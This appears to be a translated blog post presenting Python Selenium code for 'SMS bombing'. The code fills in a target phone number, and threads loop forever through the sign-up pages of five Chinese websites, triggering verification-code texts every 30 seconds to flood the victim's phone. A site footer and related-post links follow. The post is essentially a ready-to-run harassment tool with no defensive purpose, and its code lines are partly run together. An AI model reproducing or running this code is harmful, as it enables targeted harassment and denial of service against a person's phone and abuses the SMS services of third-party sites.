Python SMS bombing code

Environment python3.0

Tool pycharm

Google plugin chromedriver

Program execution method

from selenium import webdriver
import time
from threading import Thread
classHongZha(object):
def __init__(self):
self.phone ="xxxxx"#The phone number you want to bomb
self.num =0
def send_yzm(self,button,name):
button.click()
self.num+=1print("{}First{}Successfully sent{}".format(self.phone,self.num,name))
time.sleep(30)
def zhihu(self,name):while True:#The following line is the installation path of chromedrive just mentioned
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get("https://www.zhihu.com/question/39993344")
driver.find_element_by_xpath("//button[@class='Button Button--primary Button--blue']").click()
time.sleep(2)
tel = driver.find_element_by_xpath("//input[@placeholder='phone number']")
tel.send_keys(self.phone)
button = driver.find_element_by_xpath("//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']")
self.send_yzm(button,name)
driver.quit()
def guazi(self,name):while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get("https://www.guazi.com/www/bj/buy")
a_btn = driver.find_element_by_xpath("//a[@class='uc-my']")
a_btn.click()
time.sleep(2)
tel = driver.find_element_by_xpath("//input[@placeholder='please enter your phone number']")
tel.send_keys( self.phone )
button = driver.find_element_by_xpath("//button[@class='get-code']")
self.send_yzm(button,name)
driver.quit()
def wphui(self,name):while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get("https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F")
tel = driver.find_element_by_xpath("//input[@placeholder='Please enter the phone number']")
tel.send_keys( self.phone )
driver.find_element_by_xpath("//input[@id='J_mobile_code']").click()
button = driver.find_element_by_xpath("//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']")
self.send_yzm( button,name )
driver.quit()
def suning(self,name):while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get("https://reg.suning.com/person.do")
driver.find_element_by_xpath("//a[@class='agree-btn']").click()
tel = driver.find_element_by_xpath("//input[@id='mobileAlias']")
tel.send_keys( self.phone )
button = driver.find_element_by_xpath("//a[@id='sendSmsCode']")
self.send_yzm( button,name )
driver.quit()
def yhd(self,name):while True:
driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
driver.get("https://passport.yhd.com/passport/register_input.do")
driver.find_element_by_xpath("//input[@id='userName']").send_keys("My goddess daadaamnabajhdja")
tel = driver.find_element_by_xpath("//input[@id='phone']")
tel.send_keys( self.phone )
time.sleep(2)
button = driver.find_element_by_xpath("//a[@class='receive_code fl same_code_btn r_disable_code ']")
# button.click()
time.sleep(1)
self.send_yzm( button,name )
driver.quit()

Execute release

from threading import Thread
from sendPhon import HongZha
hongzha =HongZha()
zhihu =Thread(target=hongzha.zhihu,args=("Know almost",))
guazi =Thread( target=hongzha.guazi,args=("Melon seeds",))
wphui =Thread(target=hongzha.wphui,args=("Vipshop",))
suning =Thread(target=hongzha.suning,args=("Suning",))
yhd=Thread( target=hongzha.yhd,args=("Yihaodian",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

to sum up

This is the end of this article about the code bombing of PythonSMS. For more related Python SMS bombing content, please search for previous articles on ZaLou.Cn or continue to browse related articles below. Hope you will support more in the future. ZaLou.Cn!

Recommended Posts

Python SMS bombing code
Python code to find bugs (2)
How to comment python code
Python code to find bugs(4)
Python code to find bugs (3)
Python drawing rose implementation code
Python regular expression example code
Python implements code block folding
Python install OpenCV sample code
Python code to find bugs(6)
Python code to find bugs (1)
Python code to find bugs(8)
Python implements verification code recognition
Python code to find bugs(5)
Is python code case sensitive
python how to view webpage code
How to wrap in python code
Python is a cross-platform language code
Gray-level co-occurrence matrix (with python code)
Python tcp transmission code example analysis
Python handles operation code to execl
Speed up Python code with Cython
Python requests module session code example
Python verification code interception identification code example
Python | Quickly test your Python code with Hypothesis
200 lines of Python code to achieve snake
Does Python code need to be indented
Can python code be made into software
Python file and directory operation code summary